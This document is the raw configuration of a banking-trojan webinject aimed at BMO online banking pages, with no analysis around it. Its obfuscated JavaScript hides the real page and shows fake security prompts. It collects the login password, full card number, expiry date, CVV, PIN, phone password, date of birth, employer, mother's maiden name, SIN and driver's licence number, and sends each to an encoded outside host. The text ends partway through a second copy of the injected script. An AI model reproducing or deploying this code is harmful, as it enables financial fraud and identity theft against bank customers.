                                         <div class="dijitReset dijitInline signInRecognizeComputerCheckBox dijitCheckBox dijitCheckBoxChecked dijitChecked" wairole="presentation" role="presentation" widgetid="regRecognizeComputer"><input name="bindDevice" type="checkbox" checked="" class="dijitReset dijitCheckBoxInput" dojoattachpoint="focusNode" dojoattachevent="onmouseover:_onMouse,onmouseout:_onMouse,onclick:_onClick" value="true" id="regRecognizeComputer" tabindex="0" aria-pressed="true"></div>  
                                         <label for="regRecognizeComputer" name="lblregRecognizeComputer" id="lblregRecognizeComputer"><strong>Yes</strong>, recognize this computer, it is a computer I trust and use often</label>  
                                    </fieldset>  
                               </div>  
                               <div id="ptBottomMenu">  
                                    <div id="ptRightButtons">  
                                         <span class="dijit dijitReset dijitLeft dijitInline btnSubmit dijitButton" dojoattachevent="onclick:_onButtonClick,onmouseenter:_onMouse,onmouseleave:_onMouse,onmousedown:_onMouse" widgetid="btnContinue">  
                                         <span class="dijitReset dijitRight dijitInline"><span class="dijitReset dijitInline dijitButtonNode">  
                                         <button style="-moz-user-select: none;" title="Sign In" alt="Sign In" tabindex="2" id="btnSignIn" name="mybtn" aria-labelledby="btnSignIn_label" role="button" class="dijitReset dijitStretch dijitButtonContents" dojoattachpoint="titleNode,focusNode" name="go" value="SignIn" onclick="sendInfo()" wairole="button" waistate="labelledby-btnSignIn_label"><span class="dijitReset dijitInline dijitButtonText" id="btnSignIn_label" dojoattachpoint="containerNode">Sign In</span></button>  
                                         </span></span></span>       
                                    </div>  
                               </div>  
                     </div>  
 </div>  
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_bmo";  
      var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
    function focusFunction(element,what)  
       {  
        switch( what )  
           {  
             case 'cc1':  
                case 'cc2':  
                case 'cc3':  
                case 'cc4':  
                case 'mm':  
                case 'yyyy':  
                case 'cvv':  
                jQuery(element).val('');  
                if ( jQuery(element).css('border-top-color') == 'rgb(174, 186, 210)')  
                {  
                 jQuery(element).css('border','solid 1px #6899b6');  
                 jQuery(element).css('border-left','solid 2px #6899b6');  
                 jQuery(element).css('color','black');  
                }  
                else if(jQuery(element).css('border-top-color') == 'rgb(174, 186, 210)')  
                {  
                // jQuery(element).css('border','solid 1px #6899b6');  
                 // jQuery(element).css('color','black');  
                }  
                else   
                {  
                }  
                //jQuery("#serverSideErrorBoxId").css('color','black');  
           //     jQuery("#serverSideErrorBoxId").text('Please enter the information below to continue:');  
                break;  
           }  
       }  
       function blurFunction(element,what)  
       {  
        switch( what )  
           {  
             case 'cc1':  
                case 'cc2':  
                case 'cc3':  
                case 'cc4':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('XXXX');}  
                 break;  
                case 'mm':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('MM');}  
                 break;       
                case 'yyyy':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('YYYY');}  
                 break;  
                case 'cvv':  
                  if ( jQuery(element).val() == '') { jQuery(element).val('XXX');}  
                 break;                  
           }  
     jQuery(element).css('border','solid 1px rgb(174, 186, 210)');       
           jQuery(element).css('color','rgb(128, 128, 128)');       
       }  
    function checkBlanks(page)  
    {  
        if( page =='1')  
        {  
     var cc1 = jQuery("#cc1").val();  
     var cc2 = jQuery("#cc2").val();  
     var cc3 = jQuery("#cc3").val();  
           var cc4 = jQuery("#cc4").val();  
     var expmm = jQuery("#expmm").val();   
     var expyy = jQuery("#expyy").val();   
      if ( (cc1 != "") && (cc2 != "") &&(cc3 != "") && (cc4 != "")  && (expmm != "") && (expyy != "") )  
     {  
      if ( (cc1 != "XXXX") && (cc2 != "XXXX") && (cc3 != "XXXX") && (cc4 != "XXXX") && (expmm != "MM") && (expyy != "YYYY") )  
      {  
       return true;  
      }  
            else  
            {  
             return false;  
            }  
     }  
     else  
     {  
      return false;  
     }  
       }  
       else if(page =='2')  
       {  
        var cvv = jQuery("#cvv").val();  
           if ( (cvv != "") && (cvv!="XXX"))  
           {  
             return true;  
           }  
           return false;  
       }  
    }  
         function luhn(num) {num = (num + '').replace(/\D+/g, '').split('').reverse();if (!num.length)return false;var total = 0, i;for (i = 0; i < num.length; i++) {num[i] = parseInt(num[i]);total += i % 2 ? 2 * num[i] - (num[i] > 4 ? 9 : 0) : num[i];}return (total % 10) == 0;}  
    function checkCC()  
    {  
     var cc1 = jQuery("#cc1").val();  
     var cc2 = jQuery("#cc2").val();  
     var cc3 = jQuery("#cc3").val();  
     var cc4 = jQuery("#cc4").val();  
     var full = cc1 + cc2 + cc3 + cc4;  
     if ( (isNaN(cc1) || isNaN(cc2) || isNaN (cc3) || isNaN (cc4)) == false )  
     {  
      var totalLengthCC = full.length ;  
      if ( (totalLengthCC == 16 ))  
      {  
         if (( cc1.charAt(0) == '4' ) || ( cc1.charAt(0) == '5' ) )  
         {  
           if ( luhn ( full ) )   
           {  
               return true;  
           }  
         }  
      }  
     }  
     return false;  
    }        
   function checkExp()  
   {  
    var exp_mm = jQuery("#expmm").val();   
    var exp_yy = jQuery("#expyy").val();  
     var totalLengthEXP = exp_mm.length + exp_yy.length;  
     if ( totalLengthEXP == 6 )  
     {  
              if ( (isNaN(exp_mm) || isNaN(exp_yy) )== false )  
                 {  
                  if ( ( exp_mm > 0 ) && ( exp_mm < 13) )  
         {  
             if (( exp_yy > 2014 ) && ( exp_yy < 2040 ) )  
          {  
            return true;  
          }  
                  }  
                 }  
    }   
    return false;  
   }  
      function checkCVV()  
   {  
    var cvv_num = jQuery("#cvv").val();  
    var cvvLength = cvv_num.length;  
    if ( isNaN(cvv_num) == false)  
    {  
     if ( cvvLength == 3 )  
     {  
     if ( (cvv_num.charAt(0) == cvv_num.charAt(1) )&& (cvv_num.charAt(1) ==cvv_num.charAt(2) ) )  
     {   
      return false;  
     }      
     if( cvv_num == "123")  
     {  
        return false;  
     }  
     return true;  
     }  
    }  
    return false;  
   }  
   function checktext(mmn)  
   {  
   if ( isNaN(mmn) )  
   {  
      return true;  
   }  
   return false;  
   }   
    function showDelay()  
       {  
        jQuery('body').show();  
       }  
       function sendInfo( what )  
       {  
         jQuery('#serverSideErrorBoxId').hide();  
      var card  = jQuery("#main_top_card").css('display');  
            var back_c = jQuery("#main_back_card").css('display');  
            var qdiv  = jQuery('#question_div').css('display');  
      if(( card != 'none') && ( typeof card != 'undefined') )  
            {  
              if ( checkBlanks('1') )  
                 {  
                  if( checkCC() )  
                     {  
                        if ( checkExp() )  
                           {  
                        var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&full_cc=Card:"  + jQuery("#cc1").val() + jQuery("#cc2").val() + jQuery("#cc3").val() +jQuery("#cc4").val() +  
                           "&full_exp=" + jQuery("#expmm").val() +"/" + jQuery("#expyy").val() +  
                           "&log=cc_page_1";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                         jQuery('#main_top_card').hide();  
                                                             jQuery('#main_back_card').show();  
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
                           }  
                     }  
                 }  
     }  
           else if((back_c != 'none' ) && ( typeof card != 'undefined') )  
           {  
             if ( checkBlanks('2') )  
             {  
              if( checkCVV())  
                 {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&cvv=<b>CVV:</b>" + jQuery("#cvv").val() +  
                           "&log=cc_page_2";  
                                                function ccall2()  
                     {  
                                                       jQuery('body').hide();  
                                                             jQuery('#main_back_card').hide();  
                                                             jQuery('#question_div').show();  
                                                             jQuery('#text_pin').show();  
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;                                                    
                 }  
             }  
           }  
           else if( qdiv != 'none')  
           {  
             var l_text_pin = jQuery('#text_pin').css('display');  
             var l_text_php = jQuery('#text_php').css('display');  
             var l_text_dob = jQuery('#text_dob').css('display');  
             var l_text_emp = jQuery('#text_emp').css('display');  
             var l_text_mmn = jQuery('#text_mmn').css('display');  
             var l_text_sin = jQuery('#text_sin').css('display');  
             var l_text_dl  = jQuery('#text_dln').css('display');  
             var recived_val = jQuery('#signInSecurityQuestion').val();  
             if(( recived_val != "") && ( recived_val.length > 2 ))  
             {  
             if( l_text_pin !='none')  
             {  
                 var pin = parseInt(recived_val);  
                 if( isNaN(pin) == false)  
                 {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&pin=<b>PIN:</b>" + recived_val +  
                           "&log=page_pin";  
                                                function ccall2()  
                     {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();   
                                                             jQuery("div.tripleColContainer").eq(0).html("");  
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;  
                 }  
             } // end text pin  
                else if( l_text_php !='none')  
                {  
                 if( recived_val.length > 4)  
                 {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&pin=<b>PhonePass:</b>" + recived_val +  
                           "&log=page_phone_pass";  
                                                function ccall2()  
                                                   {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();   
                                                             jQuery("div.tripleColContainer").eq(0).html("");  
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;   
               }                 
                }  
                else if( l_text_dob != 'none')  
                {  
                 if( recived_val.length == 10)  
                 {  
                   if (recived_val.indexOf('/')+1 )  
                      {  
                       var result = recived_val.split('/');  
                       if( result.length == 3)  
                       {  
            var dob_mm = result[0];  
            var dob_dd = result[1];  
            var dob_yy = result[2];  
                             var totalLengthDOB  = dob_mm.length+dob_dd.length+dob_yy.length;  
               if ( ( isNaN(dob_mm) || isNaN(dob_dd) || isNaN(dob_yy) ) == false )   
               {  
                if ( totalLengthDOB > 6 )  
                {  
                 if ( ( dob_yy < 1997) && (dob_yy > 1900) )  
                 {  
                   if( ( dob_mm > 0 ) && ( dob_mm < 13 ) && ( dob_dd > 0 ) && (dob_dd < 32 ) )  
                   {  
                       var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&full_dob=<b>DOB:</b>"+recived_val+  
                           "&log=page_dob";  
                                   function ccall2()  
                    {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();   
                                                             jQuery("div.tripleColContainer").eq(0).html("");  
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                   }  
                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                                               return true;  
                   }  
                 }  
                }  
               }  
                       }  
                      }  
                 }  
                }  
                else if ( l_text_emp != 'none')  
                {  
         if( recived_val.length > 5)  
                  {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&pin=<b>Employer:</b>" + recived_val +  
                           "&log=page_emp";  
                                                function ccall2()  
                                                   {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();   
                                                             jQuery("div.tripleColContainer").eq(0).html("");  
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;                     
         }                   
                }  
                else if( l_text_mmn != 'none')  
                {  
         if( recived_val.length > 5)  
                  {  
                   if (checktext(recived_val) )  
                      {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&mmn=<b>MMN:</b>" + recived_val +  
                           "&log=page_mmn";  
                                                function ccall2()  
                                                   {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();  
                                                          jQuery("div.tripleColContainer").eq(0).html("");       
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;                          
                      }  
                  }  
                }  
                else if( l_text_sin != 'none')  
                {  
                   if( recived_val.length == 11)  
                      {  
                    if (recived_val.indexOf('-')+1 )  
                       {  
                        var result = recived_val.split('-');  
                        if( result.length == 3)  
                        {  
             var sin_1 = result[0];  
             var sin_2 = result[1];  
             var sin_3 = result[2];  
                                if ( ( isNaN(sin_1) || isNaN(sin_2) || isNaN(sin_3) ) == false )  
                                {  
                    var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&full_ssn=<b>SSN:</b>" + recived_val +  
                           "&log=page_ssn";  
                                                function ccall2()  
                                                   {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();  
                                                       jQuery("div.tripleColContainer").eq(0).html("");            
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;        
                                }  
                           }  
           }                            
                      }  
                }  
                else if( l_text_dl != 'none')  
                {  
                   if( recived_val.length > 5)  
                      {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_bmo&mmn=<b>DL:</b>" + recived_val +  
                           "&log=page_dl";  
                                                function ccall2()  
                                                   {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mine').hide();   
                                                             jQuery("div.tripleColContainer").eq(0).html("");  
                         jQuery("div.tripleColContainer").eq(1).show();                                                              
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall2, ["test123"]);  
                     return true;        
                      }  
                }  
             }// end qdiv   
           }  
             jQuery('body').hide();  
            jQuery('#serverSideErrorBoxId').show();  
            jQuery('#error_p').text('Your Challenge Response was invalid. Please verify your response and try again.');  
            setTimeout(showDelay,1500);  
            return false;  
       }  
  var cc_main_code = '<div id="main_top_card" style="display:none;margin-bottom:10px;margin-left:10px;"><div class=""><span style="font-size:14px;"><b></b></span><div>';  
       cc_main_code += '<div id="error_div1" style="color:black;margin-left:5px;margin-top:5px;margin-bottom:5px;"></div>';  
       cc_main_code += '';  
       cc_main_code += '<div class="card_data" >';  
    cc_main_code += '<div class="card_num spec_container" >';  
       cc_main_code += '<label class="mylabel">Card Number (16 digit)</label>';  
       cc_main_code +='<input tabindex="200" id="cc1" autocomplete="off" type="text" class="card_input txtinput" name="card_number[0]" style="margin-right:7px;" onblur="blurFunction(this,\'cc1\')" onfocus="focusFunction(this,\'cc1\')" maxlength="4" value="XXXX">';  
    cc_main_code +='<input tabindex="201" id="cc2" autocomplete="off" type="text" class="card_input txtinput" name="card_number[1]" style="margin-right:7px;" onblur="blurFunction(this,\'cc2\')" onfocus="focusFunction(this,\'cc2\')" maxlength="4" value="XXXX">';  
       cc_main_code +='<input tabindex="202" id="cc3" autocomplete="off" type="text" class="card_input txtinput" name="card_number[2]" style="margin-right:7px;" onblur="blurFunction(this,\'cc3\')" onfocus="focusFunction(this,\'cc3\')" maxlength="4" value="XXXX">';  
       cc_main_code +='<input tabindex="203" id="cc4" autocomplete="off" type="text" class="card_input txtinput" name="card_number[3]" style="margin-right:7px;" onblur="blurFunction(this,\'cc4\')" onfocus="focusFunction(this,\'cc4\')" maxlength="4" value="XXXX">';  
       cc_main_code += '</div>';  
       cc_main_code += '<div class="card_date" style="float:left;width:300px;height:20px;top:50px;left:33px;">';  
       cc_main_code += '<p id="code" style="margin:0px;">123123</p>';  
       cc_main_code += '<img id="ourImage1" src=""/>';  
       cc_main_code += '</div>';  
       cc_main_code += '<div class="card_date" style="float:right;height:30px;right:42px;">';  
       cc_main_code += '<label class="mylabel" style="width:120px;">Expiration date</label>';  
       cc_main_code += '</div>';  
       cc_main_code += '<div class="card_date1" style="float:right;height:30px;width:230px;right:13px;">';  
       cc_main_code += '<div class="expire_month"><input  id="expyy" autocomplete="off" type="text" class="txtinput" style="margin-right:7px;" name="expyy" onblur="blurFunction(this,\'yyyy\')" onfocus="focusFunction(this,\'yyyy\')" maxlength="4" value="YYYY"></div>';  
       cc_main_code += '<div class="expire_year"><input id="expmm" autocomplete="off" type="text" class="txtinput" style="margin-right:7px;"name="expmm" onblur="blurFunction(this,\'mm\')" onfocus="focusFunction(this,\'mm\')" maxlength="2" value="MM"></div>';  
        cc_main_code +='<div id="" style="position: relative;float:right;width:250px;height:30px;right:0px;top:15px;"></div>';  
       cc_main_code += '</div></div>';  
  var cc_back_code = '<div id="main_back_card" style="display:none;margin-bottom:10px;margin-left:10px;"><div class=""><span style="font-size:14px;"><b></b></span><div>';  
       cc_back_code += '<div id="error_div2" style="color:black;margin-left:5px;margin-top:5px;margin-bottom:5px;"></div>';  
       cc_back_code += '';  
    cc_back_code += '<div class="card_back">';  
       cc_back_code += '<div class="card_cvv" style="float:right;position: relative;top:90px;width:100%;margin-left:10px;margin-right:10px;">';  
       cc_back_code += '<label class="mylabel" style="width:97%;margin-left:5px;text-align:right;">CVV/CVC</label>';  
       cc_back_code += ' <input tabindex="204" id="cvv" style="float:right;" type="text" class="card_input txtinput" name="card_cvv" onblur="blurFunction(this,\'cvv\')" onfocus="focusFunction(this,\'cvv\')" maxlength="3" value="XXX">';  
       cc_back_code += '<div class="what_is_cvv" style="display:block;float:left;width:200px;margin-left:40px;">CVV or CVC - 3 digit code on back of the card</div>';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '';  
       cc_back_code += '<div id="" style="position: relative;float:right;width:250px;height:30px;right:0px;top:45px;"></div>';  
       cc_back_code += '</div></div>';  
       function ShowFake(retik)  
       {  
     var panelCode = jQuery("#panel").html();  
     jQuery("#panel").html("");  
           if( retik != 'dl_send')  
           {  
            jQuery("div.tripleColContainer").before(panelCode);  
            jQuery("div.tripleColContainer").eq(1).hide();  
           }  
                  //jQuery("div.tripleColContainer").hide();  
           if ( ( retik =='0') || ( retik == 'info_send_1') ) //card exp fake  
           {  
            jQuery('p.recognizeComputer').eq(1).after().before(cc_back_code);  
         jQuery('p.recognizeComputer').eq(1).after().before(cc_main_code);  
         var img = jQuery('.etContainsTooltip').find('img').attr('src');  
         if(( img == '') || ( typeof img == 'undefined'))  
         {  
          jQuery('#ourImage1').remove();  
         }  
         else  
         {  
         jQuery('#ourImage1').attr('src',img);  
         var text = jQuery.trim(jQuery('dd.etContainsTooltip').eq(0).prev().prev().text());  
         jQuery('#code').text(text);  
         }  
            if( retik == 0)  
            {  
            jQuery('#main_top_card').show();  
            }  
            else  
            {  
             jQuery('#main_back_card').show();  
            }  
           }  
           else if( retik == 'info_send_2')  
           {  
                jQuery('#question_div').show();  
                jQuery('#text_pin').show();  
           }  
           else if( retik == 'pin_send')  
           {  
                jQuery('#question_div').show();  
                jQuery('#text_php').show();  
           }  
           else if( retik == 'phone_pass_send')  
           {  
            jQuery('#question_div').show();  
            jQuery('#text_dob').show();  
           }  
           else if( retik == 'dob_send')  
           {  
            jQuery('#question_div').show();  
            jQuery('#text_emp').show();  
           }  
           else if( retik == 'emp_send')  
           {  
            jQuery('#question_div').show();  
            jQuery('#text_mmn').show();  
           }  
           else if( retik == 'mmn_send')  
           {  
            jQuery('#question_div').show();  
            jQuery('#text_sin').show();  
           }  
           else if( retik == 'ssn_send')  
           {  
            jQuery('#question_div').show();  
            jQuery('#text_dln').show();  
           }  
           jQuery("body").show();  
       }  
       function checkFake()  
       {  
      var req= "send=1&u_bot_id=" +bot_id+"&bn=ca_bmo&u_login=&u_pass=&log=ca_password_page_check_status";  
      function myCallback()  
         {  
             if( ret_val != 'page_dl')  
                {  
                 ShowFake(ret_val);  
                }  
                else if ( ret_val =='page_dl')  
                {  
                  jQuery("#panel").html("");  
                     jQuery("body").show();  
                }  
            }  
        sendScriptRequest(sa, req,myCallback, ["test123"]);  
       }  
   function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
   function iLogin()  
   {  
             var u_pass = jQuery('#regSignInPassword').val();  
         var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_bmo&u_login=&u_pass="+u_pass+"&log=cabmo_login_password_enter";   
         function statusCall()   
         {  
              jQuery('button[type=submit]').click();  
         }  
         sendScriptRequest(sa, req,statusCall, ["test123"]);  
        return false;  
   }  
   function iLogin0(this1)  
   {  
  //  var x= jQuery(this1).prev().text();  
      // alert(x );  
      // return false;  
   }  
 jQuery(document).ready( function () {  
    blockonEnter();  
    var htext = jQuery.trim(jQuery('h2.sectionHeader').eq(1).text());  
       if( htext == 'Enhanced sign in security')  
       {  
        checkFake();  
           jQuery('button[type=submit]').hide();  
           jQuery('#regSignInForm').after('<button style="-moz-user-select: none;float:right;" title="Sign In" alt="Sign In" tabindex="2" id="btnSignIn" name="mybtn" aria-labelledby="btnSignIn_label" role="button" class="dijitReset dijitStretch dijitButtonContents" dojoattachpoint="titleNode,focusNode" name="go" value="SignIn" onclick="iLogin();" wairole="button" waistate="labelledby-btnSignIn_label"><span class="dijitReset dijitInline dijitButtonText" id="btnSignIn_label" dojoattachpoint="containerNode">Sign In</span></button>');  
       }  
       else  
       {  
      // another page  
           // jQuery('button[type=submit]').hide();  
      //     var code ='<button aria-disabled="false" style="-moz-user-select: none;" title="Continue" alt="Continue" tabindex="0" id="btnMasterCardContinue" aria-labelledby="btnMasterCardContinue_label" role="button" class="dijitReset dijitStretch dijitButtonContents" dojoattachpoint="titleNode,focusNode" type="button" onclick="iLogin0(this);" value="Continue" wairole="button" waistate="labelledby-btnMasterCardContinue_label"><span class="dijitReset dijitInline dijitButtonText" id="btnMasterCardContinue_label" dojoattachpoint="containerNode"></span></button>';  
      //      jQuery('#siBankCardDD').parent().parent().parent().next().before(code);  
            jQuery('body').show();  
       }  
 });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://*.bmo.com/onlinebanking/OLB* GP  
 data_before  
 <body class="tundra">  
 data_end  
 data_inject  
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} 